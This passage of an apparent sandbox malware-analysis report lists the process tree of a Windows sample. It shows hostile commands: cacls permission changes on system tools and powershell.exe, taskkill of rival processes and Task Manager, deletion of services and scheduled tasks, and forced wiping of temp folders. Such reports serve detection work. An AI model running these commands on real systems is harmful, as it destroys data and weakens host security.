  2⤵
  PID:1052
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:1748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:3264
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:1040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:4068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    PID:4676
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  - Executes a command shell one-liner
  PID:4148
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    PID:1380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    PID:1380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:4484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    PID:3992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - Kills process with taskkill
    PID:2648
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:4904
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:4628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:3700
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:664
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
  2⤵
  PID:4328
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
    3⤵
    PID:64
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:4608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2752
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:3760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:616
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3328
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:1788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:3900
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:1516
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:3320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:3972
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:3564
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4152
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:2220
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:2904
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2008
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:4500
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:5340
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:4704
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  - Executes a command shell one-liner
  PID:5004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Kills process with taskkill
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Kills process with taskkill
    PID:5300
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:5160
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Kills process with taskkill
    PID:5460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  - Executes a command shell one-liner
  PID:5380
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    PID:5508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  - Executes a command shell one-liner
  PID:5536
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Kills process with taskkill
    PID:5588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:5596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Kills process with taskkill
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQL~1\AppData\Local\Temp\*
  2⤵
  PID:5740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQLSERVER\AppData\Local\Temp\*
  2⤵
  PID:5772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Temp\*
  2⤵
  PID:5808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\*
  2⤵
  PID:5844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\Administrator\AppData\Local\Temp\*
  2⤵
  PID:5884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate2.bat
  2⤵
  PID:3240
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:5268
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:4664
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
    3⤵
    PID:2456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
    3⤵
    PID:1188
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
    3⤵
    PID:3552
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4752
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:5336
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:668
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:1208
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5308
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:2412
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:3468
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:5388
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5180
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3244
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:1748
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:2712
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2728
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:5304
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:4932
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:4212
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    - Kills process with taskkill
    PID:2672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:5320
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    PID:836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    PID:5492
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r everyone
    3⤵
    PID:5524
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r system
    3⤵
    PID:5280
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:1380
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r system
    3⤵
    PID:5144
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r everyone
    3⤵
    PID:4880
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:544
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r everyone
    3⤵
    PID:628
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r system
    3⤵
    PID:2572
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r everyone
    3⤵
    PID:5632
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r system
    3⤵
    PID:5636
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:5584
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\Diskraid.exe /t /e /c /r system
    3⤵
    PID:5568
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r everyone
    3⤵
    PID:5552
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r system
    3⤵
    PID:5680
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r everyone
    3⤵
    PID:5664
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\Sqltem64.exe" /t /e /c /r system
    3⤵
    PID:5624
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\Diskraid.exe" /t /e /c /r everyone
    3⤵
    PID:5608
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\Diskraid.exe" /t /e /c /r system
    3⤵
    PID:5792
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:5436
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows SystenApp"
    3⤵
    - Launches sc.exe
    PID:5880
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    PID:5780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - Kills process with taskkill
    PID:5800
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    PID:5788
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    PID:4136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    PID:676
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:5848
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r everyone
    3⤵
    PID:5908
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols" /t /e /c /r system
    3⤵
    PID:5892
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:5872
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:5652
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r system
    3⤵
    PID:5140
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r everyone
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp" /t /e /c /r system
    3⤵
    PID:3248
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r everyone
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols" /t /e /c /r system
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)Microsoft SystenApp\*" /t /e /c /r everyone
    3⤵
    PID:2176
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\*" /t /e /c /r system
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r everyone
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\*" /t /e /c /r system
    3⤵
    PID:3608
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe" /t /e /c /r everyone
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe" /t /e /c /r system
    3⤵
    PID:4208
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3328
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\WindowsSystemBols\AppVNice.exe /t /e /c /r system
    3⤵
    PID:5128
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\*" /t /e /c /r everyone
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\*" /t /e /c /r system
    3⤵
    PID:2944
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r everyone
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\*" /t /e /c /r system
    3⤵
    PID:2224
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\Systen64.exe" /t /e /c /r everyone
    3⤵
    PID:5312
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystenApp\Systen64.exe" /t /e /c /r system
    3⤵
    PID:5332
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\AppVNice.exe" /t /e /c /r everyone
    3⤵
    PID:4116
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SystemBols\AppVNice.exe" /t /e /c /r system
    3⤵
    PID:5408
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystelApp\*" /t /e /c /r everyone
    3⤵
    PID:2752
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft SystelApp\*" /t /e /c /r system
    3⤵
    PID:5412
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystelApp\*" /t /e /c /r everyone
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SystelApp\*" /t /e /c /r system
    3⤵
    PID:2488
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:3244
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows SystenApp"
    3⤵
    - Launches sc.exe
    PID:4380
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "WinSystemUpdate" /F
    3⤵
    PID:3396
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "WinUpdateHelper" /F
    3⤵
    PID:5376
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r everyone
    3⤵
    PID:5352
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r system
    3⤵
    PID:1728
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r everyone
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /t /e /c /r system
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5400
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    PID:5320
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    PID:5556
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:6020
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:6028
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    PID:6124
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    PID:5516
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r system
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    PID:1248
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    PID:5236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:5784
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5800
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:5780
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5772
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:5836
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:5940
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:676
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:4672
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:6260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:1976
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6276
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:4136
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:6284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5852
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5872
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5696
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5652
